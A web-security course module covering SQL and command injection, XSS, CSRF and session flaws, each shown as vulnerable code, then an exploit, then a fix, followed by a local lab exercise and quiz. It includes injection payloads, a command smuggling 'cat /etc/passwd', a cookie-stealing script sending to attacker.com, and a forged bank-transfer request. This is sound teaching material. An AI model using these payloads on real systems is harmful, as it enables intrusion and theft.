Week 6: Web App Security & the OWASP Top 10 (Part 1)

This week and next cover the vulnerability classes behind the overwhelming majority of real-world web breaches — not as abstract categories, but exploited hands-on and then fixed, so the fix actually sticks. Part 1 covers injection (SQL and command), cross-site scripting, cross-site request forgery, and the ways authentication and sessions break — every one of these still shows up in production applications in 2026, including ones built by teams who know better.

Module 6 of 15 Week 6 of 16 ~4 Hours Hands-on Exercise Included

By the end of this week, you'll be able to

  • Exploit and correctly fix SQL injection and command injection
  • Distinguish stored, reflected and DOM-based XSS, and defend against CSRF correctly
  • Identify broken authentication and session-management flaws in a real app

1. SQL Injection: Exploited, Then Fixed

SQL injection happens when untrusted input is concatenated directly into a SQL query, letting an attacker change the query's actual structure — not just its data.

the vulnerable code
// login.js -- string concatenation builds the query
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.execute(query);

// A normal login: username = alice, password = hunter2
// -> SELECT * FROM users WHERE username = 'alice' AND password = 'hunter2'
the exploit
// username = admin' --
// The query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
//                                            ^ -- comments out the rest of the query

// The password check never runs. Logged in as admin, no password needed.

// A more aggressive payload: username = ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...'
// '1'='1' is always true -- this can return EVERY row in the table

The fix is never "sanitize the input better" as a first line of defense — it's structural: use parameterized queries, which send the query structure and the data separately, so user input can never change the query's shape no matter what characters it contains.

the fix — parameterized queries
// The ? placeholders are filled in by the driver, never by string concatenation
const query = 'SELECT * FROM users WHERE username = ? AND password_hash = ?';
db.execute(query, [username, hashedPassword]);

// Now username = "admin' --" is treated as a LITERAL STRING to search for,
// not as SQL syntax -- the injection has nowhere to escape into
An ORM doesn't automatically save you

Most ORMs use parameterized queries by default, but nearly all of them offer an escape hatch for raw SQL (for performance or a query the ORM can't express) — and string-concatenating user input into that raw SQL reintroduces the exact same vulnerability. "We use an ORM" is not the same claim as "we never build a query with string concatenation," and it's worth verifying which one is actually true in a real codebase.

2. Command Injection

The same structural flaw, one layer down: if user input is concatenated into a string passed to the operating system's shell, an attacker can inject shell syntax to run arbitrary commands.

the vulnerable code, and the exploit
// A "ping this host" feature
const { exec } = require('child_process');
exec(`ping -c 4 ${userSuppliedHost}`);

// Normal input:   userSuppliedHost = "example.com"
// -> ping -c 4 example.com

// Malicious input: userSuppliedHost = "example.com; cat /etc/passwd"
// -> ping -c 4 example.com; cat /etc/passwd
//                          ^ the shell treats ; as a command separator --
//                            this runs BOTH commands, the second one arbitrary

The fix mirrors SQL injection's: never build a shell command by concatenating untrusted input. Use an API that passes arguments as a genuine array, bypassing the shell's string-parsing entirely, and validate input against a strict allowlist when a shell genuinely can't be avoided.

the fix — no shell parsing involved
const { execFile } = require('child_process');

// execFile passes arguments as an array -- no shell interprets ";" or "|"
// as anything but a literal character inside one argument
execFile('ping', ['-c', '4', userSuppliedHost]);

// Malicious input "example.com; cat /etc/passwd" is now just one (invalid)
// hostname argument -- ping fails cleanly, nothing extra executes
Same root cause as SQL injection, different interpreter

Both injection classes come from the exact same mistake: mixing untrusted data into a string that's later parsed as code by some interpreter — SQL for a database, the shell for the OS. Any time input crosses from "data" to "something that gets parsed as instructions," that boundary needs a structural fix (parameters, arrays), not string sanitization as the primary defense.

3. Cross-Site Scripting (XSS)

XSS injects attacker-controlled JavaScript into a page that other users view — the browser can't tell the injected script apart from the site's own code, so it runs with full access to that page's cookies, DOM, and session.

three kinds of XSS
Stored XSS:    Attacker's payload is saved server-side (a comment, a profile
               bio) and served to every user who views that content -- the
               most dangerous kind, since one injection hits everyone.

Reflected XSS: Payload comes back in the immediate response to a request,
               usually via a URL parameter -- requires tricking a victim into
               clicking a crafted link, but doesn't need to persist anywhere.

DOM-based XSS: The vulnerability lives entirely in client-side JavaScript that
               writes untrusted data into the DOM (e.g. innerHTML) -- the
               server may never even see the malicious payload.
a stored XSS payload, and what it can actually do
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

// Saved as a "comment" on a page. Every visitor who views that comment
// has this script executed in THEIR browser, in the context of the
// legitimate site -- sending their session cookie straight to the attacker

The fix is output encoding: any untrusted data rendered into HTML must be encoded so the browser treats it as text, not markup. Most modern frameworks (React, Vue, Angular) do this by default for normal rendering — the real danger zone is any explicit escape hatch that bypasses it.

the escape hatch that reintroduces XSS
// React encodes this automatically -- safe, even if comment.text contains "<script>"
<p>{comment.text}</p>

// This bypasses React's encoding entirely -- exactly as dangerous as raw string
// concatenation into HTML, and needs the same untrusted-input scrutiny as SQL/shell input
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
Content-Security-Policy is defense in depth, not a substitute

A strict CSP header can block inline scripts from executing even if one gets injected — a real, valuable second layer. It's not a substitute for output encoding, though: get the encoding wrong and rely on CSP alone, and you're one CSP misconfiguration (or one legitimately-needed inline script) away from the same vulnerability being fully exploitable again.

4. Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in victim's browser into submitting a request to a site they're already authenticated with — the browser automatically attaches cookies to any request to that domain, regardless of which page initiated it.

the attack
<!-- Hosted on attacker.com. Victim is already logged into bank.com in another tab -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- The victim's browser sends this GET request to bank.com automatically,
     WITH the victim's real session cookie attached, the moment this page loads.
     bank.com sees a request that looks completely legitimate. -->

This is exactly why state-changing actions should never be plain GET requests — but even a POST-only form is vulnerable to the same trick via an auto-submitting form on the attacker's page. The real fix is a CSRF token: a random, unpredictable value the legitimate site embeds in its own forms, that an attacker's cross-origin page has no way to read or guess.

the fix — a CSRF token the attacker can't forge
<!-- On bank.com's own transfer form -->
<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="a1b2c3...(random, per-session)" />
  <input name="amount" />
  <button>Transfer</button>
</form>

// The server rejects any POST to /transfer whose csrf_token doesn't match
// the one issued to that session. attacker.com's forged form has no way
// to know or supply the correct token.
SameSite cookies are a strong, complementary defense

Setting a session cookie's SameSite attribute to Strict or Lax stops the browser from attaching it to most cross-site requests in the first place — a real defense that blocks a lot of CSRF without needing a token at all. Modern browsers default new cookies to SameSite=Lax, which is a large part of why CSRF is less common than it used to be — but an explicit CSRF token remains the more complete, framework-independent guarantee.

5. Broken Authentication & Session-Management Flaws

Even with strong hashing and MFA (Week 5) in place, the session that follows a successful login has its own failure modes — several of which are still common in production applications.

common session flaws
1. Session tokens in the URL     -- leak via browser history, server logs, Referer headers
2. No session expiry             -- a stolen token from months ago still works forever
3. No re-authentication for      -- changing a password/email shouldn't be possible on a
   sensitive actions                 stale or hijacked session without confirming identity
4. Predictable session IDs       -- if an ID can be guessed or brute-forced, it's not a
                                     real secret at all
5. Session fixation              -- an attacker sets a victim's session ID BEFORE login;
                                     if the ID doesn't change after auth, the attacker's
                                     pre-known ID is now a valid, logged-in session

The fix for session fixation specifically is simple and often skipped: always issue a brand-new session ID upon successful login, discarding whatever session (if any) existed before authentication. Combined with secure, httpOnly, SameSite cookies (the same properties covered for auth generally in later weeks) and a sane expiry, this closes most of the common gaps.

"Logout" should mean something server-side

A logout button that only deletes the cookie client-side, without invalidating the session server-side, means a stolen copy of that cookie (via XSS, a shared/public computer, or a compromised device) keeps working indefinitely, even after the legitimate user "logged out." Logout needs to actually invalidate the session on the server, not just forget it on the client.

6. Hands-on Exercise

Hands-on

Build a deliberately vulnerable mini-app, exploit it, then fix every flaw

Write a small app with every vulnerability from this week baked in on purpose, attack it yourself, then fix each one and confirm the exploit no longer works.

Part 1 — Build and exploit:

  1. Build a tiny local app (any language/framework you're comfortable with) with a login form backed by string-concatenated SQL, and a "search users" feature backed by the same pattern.
  2. Exploit your own login form with a SQL injection payload (following Section 1) to log in without a valid password. Screenshot or record the successful bypass.
  3. Add a comment/bio feature that renders user input into the page without encoding (or, in a framework that encodes by default, deliberately use its raw-HTML escape hatch). Inject a script that displays an alert, and confirm it fires when another "user" views the page.
  4. Add a state-changing endpoint (e.g. "delete my account" or "change email") reachable via a plain GET with no CSRF protection, and build a minimal external HTML page that triggers it automatically when opened, while logged into your app in another tab.
Hint

Build and exploit this against your own local app only, never a real deployed service you don't own — the point is to feel these vulnerabilities work firsthand in a completely safe, disposable environment, which is exactly what makes the fix in Part 2 meaningful instead of theoretical.

Part 2 — Fix every flaw, and confirm the exploit fails:

  1. Rewrite the login and search queries using parameterized queries (Section 1), and re-run your original SQL injection payload — confirm it now fails to bypass login or returns nothing unexpected.
  2. Fix the XSS: either remove the raw-HTML escape hatch and let the framework's default encoding handle it, or manually HTML-encode the input before rendering. Re-submit your script payload and confirm it now renders as inert text, not executable code.
  3. Add CSRF protection to your state-changing endpoint: require POST instead of GET, add a per-session CSRF token check, and set the session cookie's SameSite attribute. Re-open your external attack page and confirm it can no longer trigger the action.
  4. Regenerate the session ID on successful login (Section 5) and add a reasonable session expiry — confirm a session from before login (if your app set one) is no longer valid after authenticating.
Hint

For each fix, re-run the exact same exploit attempt from Part 1 rather than just trusting the fix "looks right" — this is the same discipline as a regression test, and it's the only way to actually confirm a vulnerability is closed rather than just less obviously present.

7. Knowledge Check

Four quick questions. Expand each to check your answer.

Q1

Why does a parameterized query prevent SQL injection, when input validation ("strip out quotes and semicolons") often doesn't fully?

A parameterized query sends the query's structure and the user-supplied data as two separate things to the database — the data is never parsed as SQL syntax at all, no matter what characters it contains. Input validation tries to guess and block every dangerous pattern in advance, which is inherently incomplete; there's almost always an encoding or edge case a blocklist misses.

Q2

What's the difference between stored XSS and reflected XSS, and why is stored XSS generally considered more dangerous?

Reflected XSS requires tricking one victim into clicking a specifically crafted link — the payload lives in that request, not on the server. Stored XSS is saved server-side (a comment, a profile field) and served automatically to every user who views that content, with no need to trick anyone individually — a single successful injection can compromise every visitor to that page.

Q3

Why does making a state-changing action require POST instead of GET only partially defend against CSRF?

A GET-based CSRF attack is trivial (a single <img> tag), but requiring POST only blocks that specific, easiest version — an attacker can still auto-submit a hidden HTML form via JavaScript on their own page, which sends a genuine cross-origin POST request with the victim's cookies attached. A real CSRF token (or a SameSite cookie) is needed to actually stop the request from being accepted, not just make it slightly harder to construct.

Q4

What is session fixation, and what single fix closes it?

An attacker sets or learns a session ID before the victim logs in, then waits — if the application doesn't change the session ID upon successful authentication, the attacker's pre-known ID becomes a valid, authenticated session once the victim logs in through it. The fix is straightforward: always issue a brand-new session ID at the moment of successful login, discarding any pre-existing one.